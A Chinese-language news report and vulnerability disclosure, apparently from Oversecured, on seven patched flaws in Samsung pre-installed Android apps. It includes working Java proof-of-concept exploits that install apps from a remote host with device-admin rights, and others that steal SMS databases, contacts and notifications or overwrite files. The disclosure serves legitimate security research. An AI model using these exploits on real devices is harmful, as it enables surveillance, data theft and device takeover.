黑客可以利用三星预装的应用程序来监视用户
黑客可以利用三星预装的应用程序来监视用户
三星预装的 Android 应用程序中披露了多个严重的安全漏洞,如果成功利用这些漏洞,攻击者可能会在未经用户同意的情况下访问个人数据并控制设备。
“这些漏洞的影响可能允许攻击者访问和编辑受害者的联系人、电话、短信/彩信,安装具有设备管理员权限的任意应用程序,或代表系统用户读写任意文件,这可能会更改设备的设置,”移动安全初创公司 Oversecured 的创始人 Sergey Toshin在周四发布的一份分析报告中表示。
Toshin 于 2021 年 2 月向三星报告了这些缺陷,随后制造商发布了补丁,作为其 4 月和 5 月的月度安全更新的一部分。
七个漏洞列表如下:
- CVE-2021-25356 – 托管供应中的第三方身份验证绕过
- CVE-2021-25388 – Knox Core 中的任意应用程序安装漏洞
- CVE-2021-25390 – PhotoTable 中的意图重定向
- CVE-2021-25391 – 安全文件夹中的意图重定向
- CVE-2021-25392 – 可以访问DeX 的通知策略文件
- CVE-2021-25393 – 可以作为系统用户对任意文件进行读/写访问(影响设置应用程序)
- CVE-2021-25397 – TelephonyUI 中的任意文件写入
这些漏洞的影响意味着它们可能被利用来安装任意第三方应用程序、授予设备管理员权限以删除其他已安装的应用程序或窃取敏感文件、以系统用户身份读取或写入任意文件,甚至执行特权操作。
在概念验证 (PoC) 演示中,Oversecured 确定可以利用 PhotoTable 和 Secure Folder 中的意图重定向缺陷来劫持应用程序访问 SD 卡和读取存储在手机中的联系人的权限。同样,通过利用 CVE-2021-25397 和 CVE-2021-25392,攻击者可以用恶意内容覆盖存储 SMS/MMS 消息的文件,并从用户通知中窃取数据。
建议三星设备所有者应用该公司的最新固件更新,以避免任何潜在的安全风险。
漏洞详情
这些漏洞可能导致违反 GDPR,我们很高兴能够帮助三星及时识别和修复这些漏洞。
如果您是开发人员或应用程序所有者,您可以将 Oversecured 集成到您的 CI/CD 中,以主动保护您的应用程序免受这些漏洞的侵害。CI/CD 过程也可以使用插件完全自动化。我们的解决方案将持续监控您的应用程序,并在检测到任何新漏洞时提醒您。
从Quick Start开始试用,开始保护您的应用程序,或者您可以在此处联系我们以了解更多信息并获取演示。
如果您是一名安全研究人员,您可以使用 Oversecured 的移动应用程序扫描器扫描这些错误,从而自动执行错误检测过程。您所要做的就是注册并上传您的应用程序文件。我们的扫描仪将负责其余的工作。
漏洞详情列表:
CVE | SVE | 受影响的应用 | 描述 | 奖励金额 |
---|---|---|---|---|
CVE-2021-25388 | SVE-2021-20636 | Knox Core (com.samsung.android.knox.containercore) | 安装任意应用程序和设备范围内的任意文件盗窃 | 1720 美元 |
CVE-2021-25356 | SVE-2021-20733 | 托管配置 (com.android.managedprovisioning) | 安装第三方应用程序并授予他们设备管理员权限 | 7000 美元 |
CVE-2021-25391 | SVE-2021-20500 | 安全文件夹 (com.samsung.knox.securefolder) | 访问任意*内容提供商 | 1050 美元 |
CVE-2021-25393 | SVE-2021-20731 | SecSettings (com.android.settings) | 获得对任意*内容提供者的访问权限导致以系统用户身份(UID 1000)对任意文件进行读/写访问 | 5460 美元 |
CVE-2021-25392 | SVE-2021-20690 | 三星 DeX 系统 UI (com.samsung.desktopsystemui) | 能够窃取通知策略配置 | 330 美元 |
CVE-2021-25397 | SVE-2021-20716 | TelephonyUI (com.samsung.android.app.telephonyui) | (覆盖)将任意文件写入为 UID 1001 | 4850 美元 |
CVE-2021-25390 | SVE-2021-20724 | PhotoTable (com.android.dreams.phototable) | 意图重定向导致访问任意内容提供者 | 280 美元 |
Knox Core 中的漏洞
首先,我们扫描了 Knox Core 应用程序,发现从 SD 卡安装了一个应用程序:
事实证明,此功能是通过导出的服务激活的com.samsung.android.knox.containercore.provisioning.DualDARInitService
:
<service android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService" android:exported="true">
<intent-filter>
<action android:name="com.samsung.android.knox.containercore.provisioning.DualDARInitService"/>
</intent-filter>
</service>
攻击者可以通过dualdar-config-client-location
参数传递任意 URI,该参数将被复制到/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk
,这是一个世界可读的位置。
之后,将启动应用程序安装过程:
private void proceedPrerequisiteForDualDARWithWPCOD(Intent intent) {
if (intent.getBooleanExtra("DUAL_DAR_IS_WPCOD", false)) {
int intExtra = intent.getIntExtra("android.intent.extra.user_handle", UserHandle.myUserId());
Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");
String string = bundleExtra.getString("dualdar-config-client-package", null);
if (!TextUtils.isEmpty(string)) {
DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");
String string2 = bundleExtra.getString("dualdar-config-client-location"); // attacker-controlled URI
DDLog.m4d("KNOXCORE::DualDARInitService", "DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);
if (TextUtils.isEmpty(string2)) {
notifyMPError(5);
} else if (string2.startsWith("file://")) {
String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";
try {
// attacker-controlled file is copied to the public location
((SemRemoteContentManager) this.mContext.getSystemService("rcp")).copyFile(intExtra, string2.replaceFirst("^file://", ""), intExtra, str);
installPackageTask(intent, string, str); // and then installed
} catch (RemoteException unused) {
DDLog.m3e("KNOXCORE::DualDARInitService", "copyFile failed.");
notifyMPError(5);
}
} else if (string2.startsWith("https://")) {
downloadPackageTask(intent, string, string2);
} else {
notifyMPError(5);
}
} else {
DDLog.m4d("KNOXCORE::DualDARInitService", "Start proceedPrerequisiteForDualDARWithWPCOD native crypto");
startRunnerTask(intent);
}
}
}
安装任意应用程序的概念证明
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
Bundle bundle = new Bundle();
bundle.putString("dualdar-config-client-package", "test.exampleapp");
bundle.putString("dualdar-config-client-location", Uri.fromFile(copyFile()).toString());
Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
i.putExtra("DualDARServiceEventFlag", 500);
i.putExtra("DUAL_DAR_IS_WPCOD", true);
i.putExtra("DUAL_DAR_PARAMS", bundle);
startService(i);
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
private File copyFile() throws Throwable {
File file = new File(getApplicationInfo().dataDir, "app.apk");
InputStream i = getAssets().open("app-release.apk");
OutputStream o = new FileOutputStream(file);
IOUtils.copy(i, o);
i.close();
o.close();
return file;
}
SMS/MMS 文件盗窃的概念证明
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startDump();
try {
File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
Bundle bundle = new Bundle();
bundle.putString("dualdar-config-client-package", "test.exampleapp");
bundle.putString("dualdar-config-client-location", Uri.fromFile(dbPath).toString());
Intent i = new Intent("com.samsung.android.knox.containercore.provisioning.DualDARInitService");
i.setClassName("com.samsung.android.knox.containercore", "com.samsung.android.knox.containercore.provisioning.DualDARInitService");
i.putExtra("DualDARServiceEventFlag", 500);
i.putExtra("DUAL_DAR_IS_WPCOD", true);
i.putExtra("DUAL_DAR_PARAMS", bundle);
new Thread(() -> {
for(int j = 1; j < 1000; j++) {
startService(i);
try {
Thread.sleep(500);
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
}).start();
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
private void startDump() {
final String path = "/sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk";
ContentValues values = new ContentValues();
values.put("_data", path);
Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);
new Thread(new Runnable() {
public void run() {
while (true) {
try {
InputStream i = getContentResolver().openInputStream(uri);
String data = IOUtils.toString(i);
Log.d("evil", data);
i.close();
} catch (Throwable th) {
}
}
}
}).start();
}
PoC 的工作原理如下:
- 启动服务将所需文件复制到公共位置(由于这是一个无效的APK文件,安装错误后会立即删除),
- 然后,
client_downloaded_knox_app.apk
读取文件。
注意:我们使用MediaStore.Files
是因为最新的 Android 版本不允许直接读取属于其他应用程序的外部存储,但这可以使用 Android Media Content Provider 绕过。
托管供应中的漏洞
Managed Provisioning 是所有三星设备上预装的应用程序,用于企业设备定制。
再一次,在测试 Managed Provisioning 时,我们发现了从公共目录安装应用程序的漏洞:
最初的应用程序是由 AOSP 开发的,它有安全检查来验证任何交互的授权。三星修改了托管配置应用程序,以添加与其生态系统和 Knox Core 交互所需的功能。
因此,在三星应用程序中,可以通过设置值来绕过此检查com.samsung.knox.container.requestId
:
int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);
if (intExtra > 0) {
ProvisionLogger.logw("Skipping verifyActionAndCaller"); // the bypass
} else if (!verifyActionAndCaller(intent, str)) {
return;
}
用于安装自定义应用程序并为其授予设备管理员权限的概念证明
这个概念证明是通过复制ProvisioningParams.Builder
类的代码并传递配置托管供应所需的标准参数来构建的,其中包括:
- 下载应用程序的 URL
- 文件的 SHA1 哈希值
- 在设备管理接收机组件名称
byte[] hash = Base64.decode("5VNuCGDQygiVg4S86BKhySBVJlOpDZs3YYYsJKIOtCQ", 0);
PackageDownloadInfo.Builder infoBuiler = PackageDownloadInfo.Builder.builder()
.setLocation("https://redacted.s3.amazonaws.com/app-release.apk")
.setPackageChecksum(hash)
.setSignatureChecksum(hash);
ProvisioningParams.Builder builder = ProvisioningParams.Builder.builder()
.setSkipUserConsent(true)
.setDeviceAdminComponentName(new ComponentName("test.exampleapp", "test.exampleapp.MyReceiver"))
.setDeviceAdminPackageName("test.exampleapp")
.setProvisioningAction("android.app.action.PROVISION_MANAGED_DEVICE")
.setDeviceAdminDownloadInfo(infoBuiler.build());
ProvisioningParams params = builder.build();
Intent i = new Intent("com.android.managedprovisioning.action.RESUME_PROVISIONING");
i.setClassName("com.android.managedprovisioning", "com.android.managedprovisioning.preprovisioning.PreProvisioningActivity");
i.putExtra("provisioningParams", params);
i.putExtra("com.samsung.knox.container.requestId", 1);
i.putExtra("com.samsung.knox.container.configType", "knox-do-basic");
startActivity(i);
打开应用程序后,发生了以下情况:
- Managed Provisioning 被迫从攻击者指定的链接下载恶意应用程序
- 步骤 1 中安装的恶意应用程序被设置为具有任意权限的设备管理员
- 启动了一个过程,该过程将删除安装在同一设备上的所有其他应用程序。
攻击看起来是这样的:
安全文件夹中的漏洞
安全文件夹是预装在三星设备上的安全文件存储应用程序。它拥有大量权限,攻击者可以通过利用在访问任意*内容提供程序中发现的漏洞来拦截这些权限:
作为 PoC,我们拦截了读/写联系人的权限:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent i = new Intent();
i.setClassName("com.samsung.knox.securefolder", "com.samsung.knox.securefolder.containeragent.ui.settings.KnoxSettingCheckLockTypeActivity");
i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
i.setData(ContactsContract.RawContacts.CONTENT_URI);
startActivityForResult(i, 0);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
dump(data.getData());
}
private void dump(Uri uri) {
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
if (cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
}
while (cursor.moveToNext());
}
}
SecSettings 中的漏洞
SecSettings 是三星预装的设置应用程序。
从 UID 1000 ( system
)读取和写入任意文件的漏洞由两个组件组成:
- 访问任意*内容提供者
- 在
com.sec.imsservice
应用程序中利用不安全的 FileProvider
这个链是唯一可能的,因为两个应用程序都使用在它们的AndroidManifest.xml
: 中指定的相同共享 UID android:sharedUserId="android.uid.system"
。事实上,这个设置意味着两个不同的应用程序可以完全共享所有资源,并且可以完全访问彼此的组件。SecSettings 中的漏洞是 Google 的。它已报告给 Android VDP。奖金为2000美元。我们将在第 2 部分文章中披露此问题的详细信息。
三星 DeX 系统 UI 中的漏洞
此漏洞允许攻击者从用户通知中窃取数据,这些数据通常包括 Telegram、Google Docs 文件夹、三星电子邮件和 Gmail 收件箱的聊天描述,以及来自其他应用程序通知的信息。
攻击者还可以激活该功能在 SD 卡上的全局可读目录中创建备份:
由于文件在创建备份后立即被删除,因此我们添加了创建备份副本的功能以防止这种情况发生。
概念证明:
final File root = Environment.getExternalStorageDirectory();
final File policyFile = new File(root, "notification_policy.xml");
final File backupCopy = new File(root, "backup");
Intent i = new Intent("com.samsung.android.intent.action.REQUEST_BACKUP_NOTIFICATION");
i.setClassName("com.samsung.desktopsystemui", "com.samsung.desktopsystemui.NotificationBackupRestoreManager$NotificationBnRReceiver");
i.putExtra("SAVE_PATH", root.getAbsolutePath());
i.putExtra("SESSION_KEY", "not_empty");
sendBroadcast(i);
new Thread(() -> {
while (true) {
if(policyFile.exists()) {
try {
InputStream i = new FileInputStream(policyFile);
OutputStream o = new FileOutputStream(backupCopy);
IOUtils.copy(i, o);
i.close();
o.close();
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
}).start();
TelephonyUI 中的漏洞
接收器com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver
被导出。它将文件从 中指定的 URL 保存到 中指定photoring_uri
的路径down_file
。这是由过度安全的 Android 扫描仪检测到的:
唯一的要求是服务器响应的内容类型应该是image/*
or video/*
。因此,我们使用文件名test.mp4
,Amazon S3 自动指定video/mp4
响应中的内容类型。
概念证明:
File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
Intent i = new Intent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");
i.setClassName("com.samsung.android.app.telephonyui", "com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");
i.putExtra("photoring_uri", "https://redacted.s3.amazonaws.com/test.mp4");
i.putExtra("down_file", dbPath.getAbsolutePath());
sendBroadcast(i);
结果,带有 SMS/MMS 消息的文件被攻击者控制的内容覆盖。
PhotoTable 中的漏洞
在 PhotoTable 中,我们发现了Intent redirection,它允许对内容提供者的访问被拦截:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handle(getIntent());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handle(intent);
}
private void handle(Intent intent) {
if("evil".equals(intent.getAction())) {
String uri = MediaStore.Images.Media.insertImage(getContentResolver(),
Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888),
"Title_1337",
"Description_1337");
Log.d("evil", "Result: " + uri);
}
else {
Intent next = new Intent("evil", MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
next.setClass(this, getClass());
Intent i = new Intent();
i.setClassName("com.android.dreams.phototable", "com.android.dreams.phototable.PermissionsRequestActivity");
i.putExtra("previous_intent", next);
i.putExtra("permission_list", new String[0]);
startActivity(i);
}
}